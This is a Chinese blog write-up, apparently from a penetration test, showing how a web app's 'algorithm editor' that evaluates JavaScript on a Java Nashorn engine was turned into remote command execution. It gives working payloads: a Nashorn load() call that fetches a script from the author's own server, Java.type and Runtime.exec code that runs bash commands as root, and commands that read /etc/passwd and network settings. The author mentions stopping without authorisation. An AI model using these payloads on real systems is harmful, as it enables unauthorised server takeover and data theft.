声明
免责声明:本文为个人作品,只做技术研究,只可用于正常的技术交流与学习,不可用于灰黑产业,不可从事违法犯罪行,严禁利用本文所介绍的技术进行未授权的恶意攻击,否则,后果自负!!!
在做功能测试时,关注到一个功能点,看到“算法编辑”感觉很厉害的样子

打开后看看,可以写代码。执行了下,就提示了个这个

查看格式化按钮旁边的【查看帮助接口】 看到里面写的特别像js 代码

结合前期对网站分析。发现后端用的node js,尝试写一个nodejs 代码执行

var process = require('child_process');
var cmd = 'ifconfig';
process.exec(cmd, function(error, stdout, stderr) {
console.log("error:"+error);
console.log("stdout:"+stdout);
console.log("stderr:"+stderr);
});

通过上面报错发现用了java的框架 来执行js 查一下api 教程 ,参考如下资料
介绍 Nashorn —— Java 8 JavaScript 引擎 | 耗子的博客
可以通过load 载入远程脚本

用以下样例脚本测试下。随便打印当前文件路径
var imports = new JavaImporter(java.io, java.lang);
with (imports) {
var file = new File(__FILE__);
load('http://106.xxxx5:8989/underscore-min.js');
print(file.getAbsolutePath());
// /path/to/my/script.js
}
发现vps 收到请求 ,客户端是java 1.8.0_212


服务器的路径也显示出来了

继续看资料 发现 通过 框架可以通过js创建java 对象 使用关键字 Java.type 就可以

于是在本地 导入这个库 模拟下环境。再来写一个 java代码执行的 试试
public static String runCmd(String command) {
StringBuilder sb =new StringBuilder();
try {
Process process=Runtime.getRuntime().exec("cmd /C " + command);
InputStream inputStream = process.getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader=new BufferedReader(inputStreamReader);
String line;
while((line=bufferedReader.readLine())!=null)
{
sb.append(line+"\n");
}
} catch (Exception e) {
return null;
}
return sb.toString();
}
当然格式要按照js的方法写

发现成功执行

赶紧拿到web上去测试下。

激动的心情。发现vps成功收到来自web的请求 而且是root权限

请求dnslog

最后改成直接把结果回显到页面上。这样下面得执行日志可以显示执行结果。前面都是无回显得

pwd && ifconfig && cat /etc/passwd

发现还存在内网。因为没有授权。所以点到为止 代码如下
var Runtime = Java.type('java.lang.Runtime');
var InputStreamReader = Java.type('java.io.InputStreamReader');
var BufferedReader = Java.type('java.io.BufferedReader');
var CmdArray = Java.type("java.lang.String[]");
var array = new CmdArray(3);
array[0] = "/bin/bash";
array[1] = "-c";
array[2] = "pwd && ifconfig && cat /etc/hosts";
var process = Runtime.getRuntime().exec(array);
var out = new BufferedReader(new InputStreamReader(process.getInputStream()));
while ((line = out.readLine()) != null) {
print(line);
}
总结 :
发现算法编辑器->尝试执行nodejs 代码执行->发现调用得是java Nashorn引擎->写js代码调用java 方法执行代码->over!
通过算法编辑器尝试执行Node.js代码,发现其调用了Java Nashorn引擎。进一步利用JS代码创建Java对象并执行命令,最终实现了从Web端执行服务器命令。
1669

被折叠的 条评论
为什么被折叠?



